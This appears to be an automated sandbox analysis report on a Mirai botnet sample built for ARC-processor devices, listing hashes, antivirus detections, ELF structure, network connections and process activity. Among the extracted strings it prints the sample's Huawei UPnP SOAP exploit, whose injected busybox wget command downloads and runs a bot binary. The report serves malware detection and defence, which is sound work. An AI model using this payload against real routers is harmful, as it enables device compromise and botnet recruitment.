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Linux Analysis Report
arc.elf

Overview

General Information

Sample name:arc.elf
Analysis ID:1646404
MD5:b3b27e62dda38d679009a1ad7ec4fdeb
SHA1:82283420843d9d863c01bb2609de7625f4d5ae56
SHA256:4dd54a6ee37f7d8554ce9c5ff2a75275a01cad8701d76230aae88bb904e8a8db
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1646404
Start date and time:2025-03-24 01:07:34 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 30s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arc.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@0/0
Command:/tmp/arc.elf
PID:6226
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • dash New Fork (PID: 6282, Parent: 4334)
  • rm (PID: 6282, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSo
  • dash New Fork (PID: 6283, Parent: 4334)
  • rm (PID: 6283, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSo
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    arc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: arc.elfAvira: detected
      Source: arc.elfVirustotal: Detection: 50%Perma Link
      Source: arc.elfReversingLabs: Detection: 50%
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
      Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
      Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
      Source: arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
      Source: unknownNetwork traffic detected: HTTP traffic on port 39246 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 39246
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
      Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal72.troj.linELF@0/0@0/0
      Source: /usr/bin/dash (PID: 6282)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSoJump to behavior
      Source: /usr/bin/dash (PID: 6283)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSoJump to behavior

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: arc.elf, type: SAMPLE

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: arc.elf, type: SAMPLE
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
      File Deletion
      OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1646404 Sample: arc.elf Startdate: 24/03/2025 Architecture: LINUX Score: 72 10 109.202.202.202, 80 INIT7CH Switzerland 2->10 12 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->12 14 2 other IPs or domains 2->14 16 Antivirus / Scanner detection for submitted sample 2->16 18 Multi AV Scanner detection for submitted file 2->18 20 Yara detected Mirai 2->20 6 dash rm 2->6         started        8 dash rm 2->8         started        signatures3 process4
      SourceDetectionScannerLabelLink
      arc.elf50%VirustotalBrowse
      arc.elf50%ReversingLabsLinux.Backdoor.Gafgyt
      arc.elf100%AviraEXP/ELF.Mirai.Hua.c
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches

      Download Network PCAP: filteredfull

      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://schemas.xmlsoap.org/soap/encoding/arc.elffalse
        high
        http://schemas.xmlsoap.org/soap/envelope/arc.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          34.249.145.219
          unknownUnited States
          16509AMAZON-02USfalse
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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                                                                      No context
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                                                                      No context
                                                                      No context
                                                                      No created / dropped files found
                                                                      File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), statically linked, stripped
                                                                      Entropy (8bit):6.334216335935101
                                                                      TrID:
                                                                      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                                      File name:arc.elf
                                                                      File size:99'648 bytes
                                                                      MD5:b3b27e62dda38d679009a1ad7ec4fdeb
                                                                      SHA1:82283420843d9d863c01bb2609de7625f4d5ae56
                                                                      SHA256:4dd54a6ee37f7d8554ce9c5ff2a75275a01cad8701d76230aae88bb904e8a8db
                                                                      SHA512:ca375c967f1f2c9f3d3b6b0f39c702c1414ac147392eee081cac62837662d4f94a5c359e2b8f0d70d3a504caeadd5ff7070de6dce4bedd9e31d3785e247e4f70
                                                                      SSDEEP:1536:qo8NhQL/awigfxnMAqaNxS0t96gKE/LW6:qoghQDLZfxnFqa56gHq
                                                                      TLSH:E5A3AECFF68B14A0C8618BF04BC75B8E2E1762119E6798F77C0E26BA19751DB5D063C2
                                                                      File Content Preview:.ELF..............].....$...4...........4. ...(.....................hm..hm....... ......................,l....... ..................................................................Q.td.......................................................................

                                                                      ELF header

                                                                      Class:ELF32
                                                                      Data:2's complement, little endian
                                                                      Version:1 (current)
                                                                      Machine:<unknown>
                                                                      Version Number:0x1
                                                                      Type:EXEC (Executable file)
                                                                      OS/ABI:UNIX - System V
                                                                      ABI Version:0
                                                                      Entry Point Address:0x10724
                                                                      Flags:0x403
                                                                      ELF Header Size:52
                                                                      Program Header Offset:52
                                                                      Program Header Size:32
                                                                      Number of Program Headers:5
                                                                      Section Header Offset:99088
                                                                      Section Header Size:40
                                                                      Number of Section Headers:14
                                                                      Header String Table Index:13
                                                                      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                                      NULL0x00x00x00x00x0000
                                                                      .initPROGBITS0x101140x1140x220x00x6AX001
                                                                      .textPROGBITS0x101380x1380xed2c0x00x6AX004
                                                                      .finiPROGBITS0x1ee640xee640x160x00x6AX001
                                                                      .rodataPROGBITS0x1ee7c0xee7c0x7eec0x00x2A004
                                                                      .tbssNOBITS0x29fe00x17fe00x80x00x403WAT004
                                                                      .fini_arrayFINI_ARRAY0x29fe00x17fe00x40x40x3WA004
                                                                      .ctorsPROGBITS0x29fe40x17fe40x80x00x3WA004
                                                                      .dtorsPROGBITS0x29fec0x17fec0x80x00x3WA004
                                                                      .gotPROGBITS0x29ff40x17ff40x80x00x3WA004
                                                                      .dataPROGBITS0x2a0080x180080x2700x00x3WA004
                                                                      .bssNOBITS0x2a2780x182780x69940x00x3WA004
                                                                      .ARC.attributes<unknown>0x00x182780x320x00x0001
                                                                      .shstrtabSTRTAB0x00x182aa0x650x00x0001
                                                                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                      LOAD0x00x100000x100000x16d680x16d686.56340x5R E0x2000.init .text .fini .rodata
                                                                      LOAD0x17fe00x29fe00x29fe00x2980x6c2c3.89180x6RW 0x2000.tbss .fini_array .ctors .dtors .got .data .bss
                                                                      NOTE0x00x00x00x00x00.00000x4R 0x4
                                                                      TLS0x17fe00x29fe00x29fe00x00x80.00000x4R 0x4.tbss
                                                                      GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                                                                      Download Network PCAP: filteredfull

                                                                      • Total Packets: 11
                                                                      • 443 (HTTPS)
                                                                      • 80 (HTTP)
                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Mar 24, 2025 01:08:19.859306097 CET43928443192.168.2.2391.189.91.42
                                                                      Mar 24, 2025 01:08:25.234653950 CET42836443192.168.2.2391.189.91.43
                                                                      Mar 24, 2025 01:08:26.514447927 CET4251680192.168.2.23109.202.202.202
                                                                      Mar 24, 2025 01:08:40.686193943 CET39246443192.168.2.2334.249.145.219
                                                                      Mar 24, 2025 01:08:40.686235905 CET4433924634.249.145.219192.168.2.23
                                                                      Mar 24, 2025 01:08:40.686491966 CET39246443192.168.2.2334.249.145.219
                                                                      Mar 24, 2025 01:08:40.686974049 CET39246443192.168.2.2334.249.145.219
                                                                      Mar 24, 2025 01:08:40.686985016 CET4433924634.249.145.219192.168.2.23
                                                                      Mar 24, 2025 01:08:41.616467953 CET43928443192.168.2.2391.189.91.42
                                                                      Mar 24, 2025 01:08:51.854954958 CET42836443192.168.2.2391.189.91.43
                                                                      Mar 24, 2025 01:08:55.950328112 CET4251680192.168.2.23109.202.202.202
                                                                      Mar 24, 2025 01:09:22.570810080 CET43928443192.168.2.2391.189.91.42
                                                                      Mar 24, 2025 01:09:40.678289890 CET39246443192.168.2.2334.249.145.219
                                                                      Mar 24, 2025 01:09:40.720338106 CET4433924634.249.145.219192.168.2.23
                                                                      Mar 24, 2025 01:10:24.230775118 CET4433924634.249.145.219192.168.2.23

                                                                      System Behavior

                                                                      Start time (UTC):00:09:40
                                                                      Start date (UTC):24/03/2025
                                                                      Path:/usr/bin/dash
                                                                      Arguments:-
                                                                      File size:129816 bytes
                                                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                      Start time (UTC):00:09:40
                                                                      Start date (UTC):24/03/2025
                                                                      Path:/usr/bin/rm
                                                                      Arguments:rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSo
                                                                      File size:72056 bytes
                                                                      MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                      Start time (UTC):00:09:40
                                                                      Start date (UTC):24/03/2025
                                                                      Path:/usr/bin/dash
                                                                      Arguments:-
                                                                      File size:129816 bytes
                                                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                      Start time (UTC):00:09:40
                                                                      Start date (UTC):24/03/2025
                                                                      Path:/usr/bin/rm
                                                                      Arguments:rm -f /tmp/tmp.0vl9yS1Lx9 /tmp/tmp.CnyFbtOYdk /tmp/tmp.TSxNegqtSo
                                                                      File size:72056 bytes
                                                                      MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b